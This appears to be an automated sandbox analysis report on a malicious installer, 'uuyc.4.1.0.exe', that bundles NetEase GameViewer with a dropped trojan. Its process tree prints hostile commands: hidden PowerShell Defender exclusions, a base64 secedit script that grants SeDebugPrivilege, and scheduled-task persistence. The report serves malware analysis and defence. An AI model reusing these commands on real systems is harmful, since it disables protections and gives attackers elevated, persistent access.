Overview

overview

10

Static

static

3

uuyc.4.1.0.exe

windows11-21h2-x64

10

Analysis

  • user interaction
    yes
  • max time kernel
    299s
  • max time network
    307s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    10/08/2026, 01:45

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    uuyc.4.1.0.exe
  • Size 91.0MB
  • Sample260810-b6k74asybx
  • SHA256 e81d62a221ae112e6184c3eb152082ab5ceefd9ba3ce15aa38968dcefdb47a81
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasiondiscoveryexecutionpersistencetrojanupx

Malware Config

Signatures

  • UAC bypass 3 TTPs 3 IoCs
    defense_evasiontrojan
  • Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

    Run Powershell and hide display window.

    execution
  • Drops file in Drivers directory 9 IoCs
  • Executes dropped EXE 26 IoCs
  • Loads dropped DLL 64 IoCs
  • Adds Run key to start application 2 TTPs 3 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
    defense_evasiontrojan
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

    defense_evasion
  • Network Share Discovery 1 TTPs

    Attempt to gather information on host network.

    discovery
  • Drops file in System32 directory 64 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • UPX packed file 47 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 8 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • System Location Discovery: System Language Discovery 1 TTPs 18 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 64 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    defense_evasion
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 33 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: AddClipboardFormatListener 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SendNotifyMessage 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\uuyc.4.1.0.exe
    "C:\Users\Admin\AppData\Local\Temp\uuyc.4.1.0.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:428
    • C:\Users\Admin\AppData\Local\Temp\_ir_sf_temp_0\irsetup.exe
      "C:\Users\Admin\AppData\Local\Temp\_ir_sf_temp_0\irsetup.exe" __IRAOFF:5226434 "__IRAFN:C:\Users\Admin\AppData\Local\Temp\uuyc.4.1.0.exe" "__IRCT:0" "__IRTSS:0" "__IRSID:S-1-5-21-125073035-2952146151-721812867-1000"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4384
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\iusb3mon.exe' -Force" >nul 2>&1
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2932
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\iusb3mon.exe' -Force"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3132
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'uuyc.4.1.0.exe' -Force" >nul 2>&1
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1604
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'uuyc.4.1.0.exe' -Force"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1660
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c timeout /t 2 /nobreak >nul
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2248
        • C:\Windows\system32\timeout.exe
          timeout /t 2 /nobreak
          4⤵
          • Delays execution with timeout.exe
          PID:4644
      • C:\Users\Admin\AppData\Local\iusb3mon.exe
        "C:\Users\Admin\AppData\Local\iusb3mon.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:808
        • C:\Windows\SysWOW64\dllhost.exe
          "C:\Windows\SysWOW64\dllhost.exe"
          4⤵
          • UAC bypass
          • Adds Run key to start application
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: GetForegroundWindowSpam
          • Suspicious use of WriteProcessMemory
          PID:2060
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -Command "$temp = $env:TEMP;$inf = Join-Path $temp 'SeDebugPrivilege.inf';$sdb = Join-Path $temp 'SeDebugPrivilege.sdb';$log = Join-Path $temp 'SeDebugPrivilege.log';$b64 = '//5bAFUAbgBpAGMAbwBkAGUAXQANAAoAVQBuAGkAYwBvAGQAZQA9AHkAZQBzAA0ACgBbAFYAZQByAHMAaQBvAG4AXQANAAoAcwBpAGcAbgBhAHQAdQByAGUAPQAiACQAQwBIAEkAQwBBAEcATwAkACIADQAKAFIAZQB2AGkAcwBpAG8AbgA9ADEADQAKAFsAUAByAGkAdgBpAGwAZQBnAGUAIABSAGkAZwBoAHQAcwBdAA0ACgBTAGUARABlAGIAdQBnAFAAcgBpAHYAaQBsAGUAZwBlACAAPQAgACoAUwAtADEALQA1AC0AMQA4AA0ACgA=';[IO.File]::WriteAllBytes($inf, [Convert]::FromBase64String($b64));secedit.exe /configure /db $sdb /cfg $inf /overwrite /log $log /quiet;Start-Sleep -Seconds 5;Remove-Item -Path $inf -Force;"
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2904
            • C:\Windows\SysWOW64\SecEdit.exe
              "C:\Windows\system32\SecEdit.exe" /configure /db C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege.sdb /cfg C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege.inf /overwrite /log C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege.log /quiet
              6⤵
              • System Location Discovery: System Language Discovery
              PID:3616
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Local\ziliao.jpg'"
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4544
          • C:\Windows\SysWOW64\prevhost.exe
            C:\Windows\SysWOW64\prevhost.exe
            5⤵
              PID:2540
            • C:\Windows\SysWOW64\cmd.exe
              cmd.exe /c schtasks.exe /query /tn "WinSvcMon_3C6F10A0" >nul 2>&1
              5⤵
              • Executes a command shell one-liner
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:5104
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks.exe /query /tn "WinSvcMon_3C6F10A0"
                6⤵
                • System Location Discovery: System Language Discovery
                PID:2440
            • C:\Windows\SysWOW64\cmd.exe
              cmd.exe /c schtasks.exe /create /tn "WinSvcMon_3C6F10A0" /xml "C:\Users\Admin\AppData\Local\Temp\240693062_wd.xml" /f >nul 2>&1
              5⤵
              • Executes a command shell one-liner
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:1472
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks.exe /create /tn "WinSvcMon_3C6F10A0" /xml "C:\Users\Admin\AppData\Local\Temp\240693062_wd.xml" /f
                6⤵
                • System Location Discovery: System Language Discovery
                • Scheduled Task/Job: Scheduled Task
                PID:1716
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\iusb3mon.exe'"
              5⤵
              • Command and Scripting Interpreter: PowerShell
              • System Location Discovery: System Language Discovery
              • Suspicious use of AdjustPrivilegeToken
              PID:3664
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess 'iusb3mon.exe'"
              5⤵
              • Command and Scripting Interpreter: PowerShell
              • System Location Discovery: System Language Discovery
              • Suspicious use of AdjustPrivilegeToken
              PID:852
        • C:\Program Files\Your Product\uuyc_4.33.0.exe
          "C:\Program Files\Your Product\uuyc_4.33.0.exe"
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Adds Run key to start application
          • Drops file in Program Files directory
          • System Location Discovery: System Language Discovery
          • Modifies registry class
          PID:2960
    • C:\Users\Admin\AppData\Local\iusb3mon.exe
      C:\Users\Admin\AppData\Local\iusb3mon.exe
      1⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3196
      • C:\Windows\SysWOW64\dllhost.exe
        "C:\Windows\SysWOW64\dllhost.exe"
        2⤵
        • System Location Discovery: System Language Discovery
        PID:4300
    • C:\Program Files\Netease\GameViewer\GameViewerService.exe
      "C:\Program Files\Netease\GameViewer\GameViewerService.exe" --service
      1⤵
      • Executes dropped EXE
      PID:9748
    • C:\Program Files\Netease\GameViewer\GameViewerService.exe
      "C:\Program Files\Netease\GameViewer\GameViewerService.exe" --service
      1⤵
      • Executes dropped EXE
      • Drops file in Program Files directory
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5196
      • C:\Program Files\Netease\GameViewer\crashpad_handler.exe
        "C:\Program Files\Netease\GameViewer\crashpad_handler.exe" --no-rate-limit "--database=C:\Program Files\Netease\GameViewer\log\service\Sentry" "--metrics-dir=C:\Program Files\Netease\GameViewer\log\service\Sentry" --url=https://sentry.netease.com:443/api/69/minidump/?sentry_client=sentry.native/0.5.0&sentry_key=cf56b89184bf48f988f05813bee25cef "--attachment=C:\Program Files\Netease\GameViewer\log\service\log\log_20260810024657864_5196.txt" "--attachment=C:\Program Files\Netease\GameViewer\log\service\Sentry\57a6cffa-855c-451c-bc9c-b0edbd1c1306.run\__sentry-event" "--attachment=C:\Program Files\Netease\GameViewer\log\service\Sentry\57a6cffa-855c-451c-bc9c-b0edbd1c1306.run\__sentry-breadcrumb1" "--attachment=C:\Program Files\Netease\GameViewer\log\service\Sentry\57a6cffa-855c-451c-bc9c-b0edbd1c1306.run\__sentry-breadcrumb2" --initial-client-data=0x2e0,0x2e4,0x2e8,0x2b8,0x2ec,0x7ff7c44bbf88,0x7ff7c44bbfa8,0x7ff7c44bbfc0
        2⤵
        • Executes dropped EXE
        PID:5388
      • C:\Program Files\Netease\GameViewer\bin\GameViewerServer.exe
        "C:\Program Files\Netease\GameViewer\bin\GameViewerServer.exe"
        2⤵
        • Executes dropped EXE
        • Drops file in Program Files directory
        • Checks SCSI registry key(s)
        • Modifies data under HKEY_USERS
        • Suspicious use of WriteProcessMemory
        PID:5560
        • C:\Program Files\Netease\GameViewer\bin\crashpad_handler.exe
          "C:\Program Files\Netease\GameViewer\bin\crashpad_handler.exe" --no-rate-limit "--database=C:\Program Files\Netease\GameViewer\log\server\Sentry" "--metrics-dir=C:\Program Files\Netease\GameViewer\log\server\Sentry" --url=https://sentry.netease.com:443/api/69/minidump/?sentry_client=sentry.native/0.5.0&sentry_key=cf56b89184bf48f988f05813bee25cef "--attachment=C:\Program Files\Netease\GameViewer\log\server\dumpfiles\dump_lag.dmp" "--attachment=C:\Program Files\Netease\GameViewer\log\server\Log\MuMuPlayer\log_0.txt" "--attachment=C:\Program Files\Netease\GameViewer\log\server\Log\connection_log_20260810024658007_5560.txt" "--attachment=C:\Program Files\Netease\GameViewer\log\server\Log\streamer_log_20260810024658007_5560.txt" "--attachment=C:\Program Files\Netease\GameViewer\log\server\log\log_20260810024658007_5560.txt" "--attachment=C:\Program Files\Netease\GameViewer\log\server\Sentry\462af917-4f77-4e8b-5360-f294473e7ab7.run\__sentry-event" "--attachment=C:\Program Files\Netease\GameViewer\log\server\Sentry\462af917-4f77-4e8b-5360-f294473e7ab7.run\__sentry-breadcrumb1" "--attachment=C:\Program Files\Netease\GameViewer\log\server\Sentry\462af917-4f77-4e8b-5360-f294473e7ab7.run\__sentry-breadcrumb2" --initial-client-data=0x444,0x448,0x44c,0x41c,0x450,0x7ff7b8c7c0e0,0x7ff7b8c7c100,0x7ff7b8c7c118
          3⤵
          • Executes dropped EXE
          PID:5732
        • C:\Program Files\Netease\GameViewer\bin\drivers\devcon.exe
          "C:\Program Files\Netease\GameViewer\bin\drivers\devcon.exe" install "C:\Program Files\Netease\GameViewer\bin\drivers\gvInput\gvinput.inf" netease\gvinput
          3⤵
          • Executes dropped EXE
          • Drops file in System32 directory
          • Checks SCSI registry key(s)
          • Suspicious use of AdjustPrivilegeToken
          PID:5864
        • C:\Program Files\Netease\GameViewer\bin\drivers\devcon.exe
          "C:\Program Files\Netease\GameViewer\bin\drivers\devcon.exe" install "C:\Program Files\Netease\GameViewer\bin\drivers\ViGEmBus\ViGEmBus.inf" "Nefarius\ViGEmBus\Gen1"
          3⤵
          • Executes dropped EXE
          • Drops file in Windows directory
          • Checks SCSI registry key(s)
          • Modifies data under HKEY_USERS
          • Suspicious use of AdjustPrivilegeToken
          PID:5724
        • C:\Program Files\Netease\GameViewer\bin\drivers\devcon.exe
          "C:\Program Files\Netease\GameViewer\bin\drivers\devcon.exe" install "C:\Program Files\Netease\GameViewer\bin\drivers\gvInput\gvinputmf.inf" HID\GVInput&Col01
          3⤵
          • Executes dropped EXE
          • Drops file in System32 directory
          • Drops file in Windows directory
          • Checks SCSI registry key(s)
          PID:8672
        • C:\Windows\system32\cmd.exe
          cmd.exe /c wmic csproduct get uuid
          3⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:8040
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic csproduct get uuid
            4⤵
              PID:3392
          • C:\Program Files\Netease\GameViewer\bin\drivers\devcon.exe
            "C:\Program Files\Netease\GameViewer\bin\drivers\devcon.exe" remove "Root\GameViewerIddDriver"
            3⤵
            • Executes dropped EXE
            • Checks SCSI registry key(s)
            PID:8732
          • C:\Program Files\Netease\GameViewer\bin\drivers\devcon.exe
            "C:\Program Files\Netease\GameViewer\bin\drivers\devcon.exe" install "C:\Program Files\Netease\GameViewer\bin\drivers\GameViewerIddDriver\GameViewerIddDriver.inf" "Root\GameViewerIddDriver"
            3⤵
            • Executes dropped EXE
            • Drops file in System32 directory
            • Drops file in Windows directory
            • Checks SCSI registry key(s)
            • Modifies data under HKEY_USERS
            PID:8792
          • C:\Program Files\Netease\GameViewer\bin\drivers\devcon.exe
            "C:\Program Files\Netease\GameViewer\bin\drivers\devcon.exe" remove "@ROOT\MOUSE\0000"
            3⤵
            • Executes dropped EXE
            • Drops file in Windows directory
            • Checks SCSI registry key(s)
            PID:8636
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -WindowStyle Hidden -NoProfile -Command "Get-NetAdapter -Physical | Where-Object { $_.PhysicalMediaType -eq "802.3" -and $_.InterfaceDescription -eq 'Realtek RTL8139C+ Fast Ethernet NIC'} | Get-NetAdapterPowerManagement | Select-Object -ExpandProperty AllowComputerToTurnOffDevice"
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            PID:4008
        • C:\Program Files\Netease\GameViewer\bin\GameViewerHealthd.exe
          "C:\Program Files\Netease\GameViewer\bin\GameViewerHealthd"
          2⤵
          • Executes dropped EXE
          • Drops file in Program Files directory
          • Suspicious use of WriteProcessMemory
          PID:5600
          • C:\Program Files\Netease\GameViewer\bin\crashpad_handler.exe
            "C:\Program Files\Netease\GameViewer\bin\crashpad_handler.exe" --no-rate-limit "--database=C:\Program Files\Netease\GameViewer\log\Healthd\Sentry" "--metrics-dir=C:\Program Files\Netease\GameViewer\log\Healthd\Sentry" --url=https://sentry.netease.com:443/api/69/minidump/?sentry_client=sentry.native/0.5.0&sentry_key=cf56b89184bf48f988f05813bee25cef "--attachment=C:\Program Files\Netease\GameViewer\log\Healthd\log\log.txt" "--attachment=C:\Program Files\Netease\GameViewer\log\Healthd\Sentry\d1bd0a2e-5cd8-48c7-c353-37929020419c.run\__sentry-event" "--attachment=C:\Program Files\Netease\GameViewer\log\Healthd\Sentry\d1bd0a2e-5cd8-48c7-c353-37929020419c.run\__sentry-breadcrumb1" "--attachment=C:\Program Files\Netease\GameViewer\log\Healthd\Sentry\d1bd0a2e-5cd8-48c7-c353-37929020419c.run\__sentry-breadcrumb2" --initial-client-data=0x378,0x37c,0x380,0x350,0x384,0x7ff77ded8be8,0x7ff77ded8c08,0x7ff77ded8c20
            3⤵
            • Executes dropped EXE
            PID:8248
          • C:\Windows\system32\cmd.exe
            cmd.exe /c wmic csproduct get uuid
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:7220
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic csproduct get uuid
              4⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:7424
      • C:\Program Files\Netease\GameViewer\GameViewer.exe
        "C:\Program Files\Netease\GameViewer\GameViewer.exe" source=setup
        1⤵
        • Executes dropped EXE
        • Drops file in Program Files directory
        • Suspicious use of WriteProcessMemory
        PID:7596
        • C:\Program Files\Netease\GameViewer\crashpad_handler.exe
          "C:\Program Files\Netease\GameViewer\crashpad_handler.exe" --no-rate-limit "--database=C:\Program Files\Netease\GameViewer\log\launcher\Sentry" "--metrics-dir=C:\Program Files\Netease\GameViewer\log\launcher\Sentry" --url=https://sentry.netease.com:443/api/69/minidump/?sentry_client=sentry.native/0.5.0&sentry_key=cf56b89184bf48f988f05813bee25cef "--attachment=C:\Program Files\Netease\GameViewer\log\launcher\Sentry\53d41381-8c1f-4378-487a-a73c0388cc1a.run\__sentry-event" "--attachment=C:\Program Files\Netease\GameViewer\log\launcher\Sentry\53d41381-8c1f-4378-487a-a73c0388cc1a.run\__sentry-breadcrumb1" "--attachment=C:\Program Files\Netease\GameViewer\log\launcher\Sentry\53d41381-8c1f-4378-487a-a73c0388cc1a.run\__sentry-breadcrumb2" --initial-client-data=0x34c,0x350,0x354,0x324,0x358,0x7ff6d8ab84f0,0x7ff6d8ab8510,0x7ff6d8ab8528
          2⤵
          • Executes dropped EXE
          • Drops file in Program Files directory
          PID:2992
        • C:\Program Files\Netease\GameViewer\bin\GameViewer.exe
          source=setup 4B6671A6-B8EA-4597-A9B7-3EFA8575855F
          2⤵
          • Executes dropped EXE
          • Checks whether UAC is enabled
          • Drops file in Program Files directory
          • Modifies registry class
          • Suspicious behavior: AddClipboardFormatListener
          • Suspicious behavior: GetForegroundWindowSpam
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:7064
          • C:\Windows\SYSTEM32\cmd.exe
            cmd.exe /c wmic csproduct get uuid
            3⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:3792
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic csproduct get uuid
              4⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:7008
          • C:\Program Files\Netease\GameViewer\bin\crashpad_handler.exe
            "C:\Program Files\Netease\GameViewer\bin\crashpad_handler.exe" --no-rate-limit "--database=C:\Program Files\Netease\GameViewer\log\client\Sentry" "--metrics-dir=C:\Program Files\Netease\GameViewer\log\client\Sentry" --url=https://sentry.netease.com:443/api/69/minidump/?sentry_client=sentry.native/0.5.0&sentry_key=cf56b89184bf48f988f05813bee25cef "--attachment=C:\Program Files\Netease\GameViewer\log\client\log.zip" "--attachment=C:\Program Files\Netease\GameViewer\log\client\Log\connection_log_20260810024658665_7064.txt" "--attachment=C:\Program Files\Netease\GameViewer\log\client\Log\streamer_log_20260810024658665_7064.txt" "--attachment=C:\Program Files\Netease\GameViewer\log\client\log\log_20260810024658665_7064.txt" "--attachment=C:\Program Files\Netease\GameViewer\log\client\Sentry\aefc957a-330c-4327-1ddd-41105a7f4879.run\__sentry-event" "--attachment=C:\Program Files\Netease\GameViewer\log\client\Sentry\aefc957a-330c-4327-1ddd-41105a7f4879.run\__sentry-breadcrumb1" "--attachment=C:\Program Files\Netease\GameViewer\log\client\Sentry\aefc957a-330c-4327-1ddd-41105a7f4879.run\__sentry-breadcrumb2" --initial-client-data=0x6e0,0x6e4,0x6e8,0x6cc,0x6ec,0x7ff7164c61e8,0x7ff7164c6208,0x7ff7164c6220
            3⤵
            • Executes dropped EXE
            PID:7460
          • C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
            "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=GameViewer.exe --webview-exe-version=4.33.0.8907 --user-data-dir="C:\Users\Admin\AppData\Local\GameViewer\webviewcache\EBWebView" --noerrdialogs --embedded-browser-webview-dpi-awareness=2 --mojo-named-platform-channel-pipe=7064.2588.13310988611527225560
            3⤵
            • Drops file in Windows directory
            • Enumerates system info in registry
            • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
            PID:4620
            • C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
              "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\GameViewer\webviewcache\EBWebView /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\GameViewer\webviewcache\EBWebView\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=132.0.6834.160 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --annotation=plat=Win64 "--annotation=prod=Edge WebView2" --annotation=ver=132.0.2957.140 --initial-client-data=0x164,0x168,0x16c,0x140,0x178,0x7ffbdca2b078,0x7ffbdca2b084,0x7ffbdca2b090
              4⤵
                PID:5752
              • C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
                "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=gpu-process --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\GameViewer\webviewcache\EBWebView" --webview-exe-name=GameViewer.exe --webview-exe-version=4.33.0.8907 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=1732,i,8696602116920283658,18400409430387123393,262144 --variations-seed-version --mojo-platform-channel-handle=1704 /prefetch:2
                4⤵
                  PID:5468
                • C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
                  "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\GameViewer\webviewcache\EBWebView" --webview-exe-name=GameViewer.exe --webview-exe-version=4.33.0.8907 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --always-read-main-dll --field-trial-handle=1964,i,8696602116920283658,18400409430387123393,262144 --variations-seed-version --mojo-platform-channel-handle=1976 /prefetch:11
                  4⤵
                    PID:5656
                  • C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
                    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\GameViewer\webviewcache\EBWebView" --webview-exe-name=GameViewer.exe --webview-exe-version=4.33.0.8907 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --always-read-main-dll --field-trial-handle=2256,i,8696602116920283658,18400409430387123393,262144 --variations-seed-version --mojo-platform-channel-handle=2264 /prefetch:13
                    4⤵
                      PID:6204
                    • C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
                      "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\GameViewer\webviewcache\EBWebView" --webview-exe-name=GameViewer.exe --webview-exe-version=4.33.0.8907 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --js-flags="--harmony-weak-refs-with-cleanup-some --expose-gc --ms-user-locale=" --always-read-main-dll --field-trial-handle=3548,i,8696602116920283658,18400409430387123393,262144 --variations-seed-version --mojo-platform-channel-handle=3592 /prefetch:1
                      4⤵
                        PID:9336
                      • C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
                        "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\GameViewer\webviewcache\EBWebView" --webview-exe-name=GameViewer.exe --webview-exe-version=4.33.0.8907 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --js-flags="--harmony-weak-refs-with-cleanup-some --expose-gc --ms-user-locale=" --always-read-main-dll --field-trial-handle=3900,i,8696602116920283658,18400409430387123393,262144 --variations-seed-version --mojo-platform-channel-handle=3920 /prefetch:1
                        4⤵
                          PID:9472
                        • C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
                          "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\GameViewer\webviewcache\EBWebView" --webview-exe-name=GameViewer.exe --webview-exe-version=4.33.0.8907 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --always-read-main-dll --field-trial-handle=4824,i,8696602116920283658,18400409430387123393,262144 --variations-seed-version --mojo-platform-channel-handle=4836 /prefetch:14
                          4⤵
                            PID:132
                          • C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
